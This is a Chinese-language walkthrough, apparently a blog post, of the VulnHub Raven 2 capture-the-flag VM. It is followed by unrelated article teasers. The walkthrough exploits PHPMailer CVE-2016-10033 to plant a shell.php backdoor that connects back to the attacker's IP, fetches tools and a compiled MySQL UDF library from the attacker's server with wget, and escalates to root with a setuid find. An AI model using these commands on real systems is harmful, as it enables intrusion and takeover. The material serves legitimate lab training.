- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
Raven 2是一个中级boot2root虚拟机。有四面旗帜需要捕捉。在多次入侵之后,Raven Security采取了额外措施来加固他们的网络服务器,以防止黑客进入。你还能入侵Raven吗?
kali 192.168.31.153 Raven2 192.168.31.216 靶场环境下载: https://www.vulnhub.com/entry/raven-2,269/ 。
环境搭建成功后,使用nmap扫描ip段,探测存活主机 。
nmap 192.168.31.0/24
发现存活主机,在浏览器访问http://192.168.31.216,查看web页面 。
第一步:对web页面进行信息收集,端口扫描,文件目录遍历 web页面:about.html service.html team.html /wordpress/ contact.php 端口扫描 。
nmap 192.168.31.216 -sV -O -p-
得到22 80 111 33177(一个未知端口),系统是debian 文件目录遍历,得到/js/ /vendor/ /manual/ /wordpress/wp-login.php 。
首先查看manual/index.html,是一个apache指引说明参考手册页面 在http://192.168.31.216/vendor/SECURITY.md 描述说明了PHPMailer的几个版本漏洞CVE,在http://192.168.31.216/vendor/VERSION描述了是PHPMailer5.2.16版本 。
浏览器搜索发现PHPMailer5.2.16的版本漏洞是CVE-2016-10033 可以去https://www.exploit-db.com/搜索相关漏洞,或者直接在kali使用searchsploit命令查找漏洞脚本 这里我为了方便展示,打开一个新窗口使用kali的searchsploit命令查找 。
searchsploit PHPMailer
find / -name 40974.py //这里使用40974.py脚本
将40974.py复制到/root目录下方便操作也不会将源文件改错 。
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/40974.py
vim 40974.py //修改脚本参数内容
内容修改:
#!/usr/bin/python
# -*- coding:utf-8 -*-
target = 'http://192.168.31.216/contact.php' //这是要入侵的目标页面
backdoor = '/shell.php' //写入后门
\\\'192.168.31.153\\\',5656 //kali要监听的端口和ip
-X/var/www/html/shell.php //写入的payload
修改完毕后,开始运行脚本文件写入后门 。
python3 40974.py //如果有报错使用以下代码,如果没有就不用
sudo apt-get install python3-pip //其中会安装此脚本需要的requests_toolbelt模块
运行脚本就会出现此界面,需要去访问http://192.168.31.216/contact.php才能生成后门脚本shell.php 。
访问完后,开启kali的nc监听 。
nc -lvnp 5656 //这里对应前面设置的5656端口
访问http://192.168.31.216/shell.php
使用python的pty 获取linux框架shell 。
python -c 'import pty;pty.spawn("/bin/bash")'
在/var/www/下有一个flag2.txt,这是第三个 第一个flag: http://192.168.31.216/vendor/PATH 第二个( http://192.168.31.216/wordpress/wp-content/uploads/2018/11/flag3.png )和第三个可以使用 find / -name flag* 命令查找 第四个要继续查找,现在已经getshell,接下去就是提权,首先对后台进行信息收集 查找关键信息及线索,在/var/www/html目录下使用ls查看文件,发现有一个wordpress的文件夹,cd进去寻找信息 。
ls
cd wordpress
再次使用ls可以看到一堆的wordpress框架文件
这里重点看配置文件wp-config.php,使用cat wp-config.php查看配置 发现了数据库为 wordpress 数据库用户 root 密码 R@v3nSecurity 。
接下来我们可以使用LinEnum.sh信息收集脚本对整个后台系统的扫描一遍 。
脚本下载地址:https://github.com/rebootuser/LinEnum
kali使用python开启http服务
python3 -m http.server 8989
在靶机后台使用:
wget http://192.168.31.153:8989/LinEnum.sh //这里我已经把脚本放在/root目录下
赋予执行权限
chmod +x LinEnum.sh
./LinEnum.sh //执行扫描
在此处可以发现登陆的数据库是root最高权限,那么我们就可以利用数据库来提权 涉及到数据库提权可以尝试使用udf提权方式获取最高权限 。
现在已知只要登陆数据库提权就是root,我们使用dpkg -l | grep mysql 查询是否有mysql及其版本信息 。
dpkg -l | grep mysql
发现是mysql 5.5.60版本,接着就是在kali中搜索mysql udf 。
searchsploit mysql udf
我们使用第二个 1518.c脚本,find / -name 1518.c查找路径,依旧复制出来修改并使用 。
find / -name 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/1518.c
使用gcc命令对1518.c进行编译成so文件
gcc -g -c 1518.c
gcc -g -shared -o cmd.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
利用http服务将so文件传输到靶机后台 。
wget http://192.168.31.153:8989/cmd.so
注:此处我传输的位置是在/var/www/html目录下,与后面传入数据库有关系
传输成功,现在登录mysql查询secure_file_priv是否为空 。
mysql -u root -pR@v3nSecurity //登录mysql
show global variables like 'secure%'; //查询secure_file_priv
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
发现可写入文件,开始接下来的udf提权操作 。
show databases; //查询所有数据库
use mysql; //使用mysql数据库
create table raven2(line blob); //创建表raven2
insert into raven2 values(load_file('/var/www/html/cmd.so')); //将刚上传的cmd.so插入表
raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数
select * from raven2 into dumpfile '/usr/lib/mysql/plugin/cmd.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';
查询函数是否创建成功
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
执行find命令
find / -exec "/bin/sh" \;
成功获取root权限,得到最后一个flag 。
1.WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。 2.成因 : 在漏洞文件class.phpmailer.php中,phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此可以进行任意构造拼接,从而产生了系统命令注入漏洞 。
最后此篇关于Raven2项目实战的文章就讲到这里了,如果你想了解更多关于Raven2项目实战的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
问题情景 混淆群内的小伙伴遇到这么个问题,Mailivery 这个网站登录后,明明提交的表单(邮箱和密码也正确)、请求头等等都没问题,为啥一直重定向到登录页面呢?唉,该出手时就出手啊,我也看看咋回事
实战-行业攻防应急响应 简介: 服务器场景操作系统 Ubuntu 服务器账号密码:root/security123 分析流量包在/home/security/security.pcap 相
背景 最近公司将我们之前使用的链路工具切换为了 OpenTelemetry. 我们的技术栈是: OTLP C
一 同一类的方法都用 synchronized 修饰 1 代码 package concurrent; import java.util.concurrent.TimeUnit; public c
一 简单例子 1 代码 package concurrent.threadlocal; /** * ThreadLocal测试 * * @author cakin */ public class T
1. 问题背景 问题发生在快递分拣的流程中,我尽可能将业务背景简化,让大家只关注并发问题本身。 分拣业务针对每个快递包裹都会生成一个任务,我们称它为 task。task 中有两个字段需要
实战环境 elastic search 8.5.0 + kibna 8.5.0 + springboot 3.0.2 + spring data elasticsearch 5.0.2 +
Win10下yolov8 tensorrt模型加速部署【实战】 TensorRT-Alpha 基于tensorrt+cuda c++实现模型end2end的gpu加速,支持win10、
yolov8 tensorrt模型加速部署【实战】 TensorRT-Alpha 基于tensorrt+cuda c++实现模型end2end的gpu加速,支持win10、linux,
目录如下: 为什么需要自定义授权类型? 前面介绍OAuth2.0的基础知识点时介绍过支持的4种授权类型,分别如下: 授权码模式 简化模式 客户端模式 密码模式
今天这篇文章介绍一下如何在修改密码、修改权限、注销等场景下使JWT失效。 文章的目录如下: 解决方案 JWT最大的一个优势在于它是无状态的,自身包含了认证鉴权所需要的所有信息,服务器端
前言 大家好,我是捡田螺的小男孩。(求个星标置顶) 我们日常做分页需求时,一般会用limit实现,但是当偏移量特别大的时候,查询效率就变得低下。本文将分四个方案,讨论如何优化MySQL百万数
前言 大家好,我是捡田螺的小男孩。 平时我们写代码呢,多数情况都是流水线式写代码,基本就可以实现业务逻辑了。如何在写代码中找到乐趣呢,我觉得,最好的方式就是:使用设计模式优化自己
我们先讲一些arm汇编的基础知识。(我们以armv7为例,最新iphone5s上的64位暂不讨论) 基础知识部分: 首先你介绍一下寄存器: r0-r3:用于函数参数及返回值的传递 r4-r6
一 同一类的静态方法都用 synchronized 修饰 1 代码 package concurrent; import java.util.concurrent.TimeUnit; public
DRF快速写五个接口,比你用手也快··· 实战-DRF快速写接口 开发环境 Python3.6 Pycharm专业版2021.2.3 Sqlite3 Django 2.2 djangorestfram
一 添加依赖 org.apache.thrift libthrift 0.11.0 二 编写 IDL 通过 IDL(.thrift 文件)定义数据结构、异常和接口等数据,供各种编程语言使用 nam
我正在阅读 Redis in action e-book关于semaphores的章节.这是使用redis实现信号量的python代码 def acquire_semaphore(conn, semn
自定义控件在WPF开发中是很常见的,有时候某些控件需要契合业务或者美化统一样式,这时候就需要对控件做出一些改造。 目录 按钮设置圆角
师父布置的任务,让我写一个服务练练手,搞清楚socket的原理和过程后跑了一个小demo,很有成就感,代码内容也比较清晰易懂,很有教育启发意义。 代码 ?
我是一名优秀的程序员,十分优秀!